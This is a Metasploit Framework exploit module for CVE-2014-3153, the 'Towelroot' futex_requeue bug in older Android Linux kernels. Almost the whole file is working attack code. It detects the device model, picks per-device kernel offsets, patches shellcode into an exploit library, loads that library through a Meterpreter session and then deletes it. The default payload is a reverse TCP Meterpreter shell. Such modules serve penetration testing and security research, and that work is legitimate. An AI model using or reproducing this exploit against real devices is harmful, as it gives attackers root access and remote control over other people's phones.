1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Common
11
  prepend Msf::Exploit::Remote::AutoCheck
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        {
18
          'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit",
19
          'Description' => %q{
20
            This module exploits a bug in futex_requeue in the Linux kernel, using
21
            similar techniques employed by the towelroot exploit. Any Android device
22
            with a kernel built before June 2014 is likely to be vulnerable.
23
          },
24
          'License' => MSF_LICENSE,
25
          'Author' => [
26
            'Pinkie Pie', # discovery
27
            'geohot',     # towelroot
28
            'timwr'       # metasploit module
29
          ],
30
          'References' => [
31
            [ 'CVE', '2014-3153' ],
32
            [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
33
            [ 'URL', 'http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability' ],
34
          ],
35
          'DisclosureDate' => '2014-05-03',
36
          'SessionTypes' => [ 'meterpreter' ],
37
          'Platform' => [ 'android', 'linux' ],
38
          'Payload' => { 'Space' => 2048 },
39
          'DefaultOptions' => {
40
            'WfsDelay' => 300,
41
            'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
42
          },
43
          'Notes' => {
44
            'Stability' => [CRASH_SAFE],
45
            'SideEffects' => [],
46
            'Reliability' => [],
47
            'AKA' => ['towelroot']
48
          },
49
          'DefaultTarget' => 0,
50
          'Targets' => [
51
            # Automatic targetting via getprop ro.build.model
52
            ['Automatic Targeting', { 'auto' => true }],
53

54
            # This is the default setting, Nexus 4, 5, 7, etc
55
            [
56
              'Default',
57
              {
58
                'new_samsung' => false,
59
                'iovstack' => 2,
60
                'offset' => 0,
61
                'force_remove' => false
62
              }
63
            ],
64

65
            # Samsung devices, S3, S4, S5, etc
66
            [
67
              'New Samsung',
68
              {
69
                'new_samsung' => true,
70
                'iovstack' => 2,
71
                'offset' => 7380,
72
                'force_remove' => true
73
              }
74
            ],
75

76
            # Older Samsung devices, e.g the Note 2
77
            [
78
              'Old Samsung',
79
              {
80
                'new_samsung' => false,
81
                'iovstack' => 1,
82
                'offset' => 0,
83
                'force_remove' => true
84
              }
85
            ],
86

87
            # Samsung Galaxy Grand, etc
88
            [
89
              'Samsung Grand',
90
              {
91
                'new_samsung' => false,
92
                'iovstack' => 5,
93
                'offset' => 0,
94
                'force_remove' => true
95
              }
96
            ],
97
          ],
98
          'Compat' => {
99
            'Meterpreter' => {
100
              'Commands' => %w[
101
                core_loadlib
102
                stdapi_fs_delete_file
103
                stdapi_fs_getwd
104
              ]
105
            }
106
          }
107
        }
108
      )
109
    )
110
  end
111

112
  def check
113
    os = cmd_exec('getprop ro.build.version.release')
114
    unless Rex::Version.new(os) < Rex::Version.new('4.5.0')
115
      vprint_error "Android version #{os} does not appear to be vulnerable"
116
      return CheckCode::Safe
117
    end
118
    vprint_good "Android version #{os} appears to be vulnerable"
119

120
    CheckCode::Appears
121
  end
122

123
  def exploit
124
    if target['auto']
125
      product = cmd_exec('getprop ro.build.product')
126
      fingerprint = cmd_exec('getprop ro.build.fingerprint')
127
      print_status("Found device: #{product}")
128
      print_status("Fingerprint: #{fingerprint}")
129

130
      if [
131
        'mako',
132
        'm7',
133
        'hammerhead',
134
        'grouper',
135
        'Y530-U00',
136
        'G6-U10',
137
        'g2',
138
        'w7n',
139
        'D2303',
140
        'cancro',
141
      ].include? product
142
        my_target = targets[1] # Default
143
      elsif [
144
        'klte', # Samsung Galaxy S5
145
        'jflte', # Samsung Galaxy S4
146
        'd2vzw' # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)
147
      ].include? product
148
        my_target = targets[2] # New Samsung
149
      elsif [
150
        't03g',
151
        'm0',
152
      ].include? product
153
        my_target = targets[3] # Old Samsung
154
      elsif [
155
        'baffinlite',
156
        'Vodafone_785',
157
      ].include? product
158
        my_target = targets[4] # Samsung Grand
159
      else
160
        print_status("Could not automatically target #{product}")
161
        my_target = targets[1] # Default
162
      end
163
    else
164
      my_target = target
165
    end
166

167
    print_status("Using target: #{my_target.name}")
168

169
    local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-3153.so')
170
    exploit_data = File.read(local_file, mode: 'rb')
171

172
    # Substitute the exploit shellcode with our own
173
    space = payload_space
174
    payload_encoded = payload.encoded
175
    exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
176

177
    # Apply the target config
178
    offsets = my_target.opts
179
    config_buf = [
180
      offsets['new_samsung'] ? -1 : 0,
181
      offsets['iovstack'].to_i,
182
      offsets['offset'].to_i,
183
      offsets['force_remove'] ? -1 : 0,
184
    ].pack('I4')
185
    exploit_data.gsub!('c0nfig' + "\x00" * 10, config_buf)
186

187
    workingdir = session.fs.dir.getwd
188
    remote_file = "#{workingdir}/#{Rex::Text.rand_text_alpha_lower(5)}"
189
    write_file(remote_file, exploit_data)
190

191
    print_status("Loading exploit library #{remote_file}")
192
    session.core.load_library(
193
      'LibraryFilePath' => local_file,
194
      'TargetFilePath' => remote_file,
195
      'UploadLibrary' => false,
196
      'Extension' => false,
197
      'SaveToDisk' => false
198
    )
199
    print_status("Loaded library #{remote_file}, deleting")
200
    session.fs.file.rm(remote_file)
201
    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
202
  end
203
end
204

205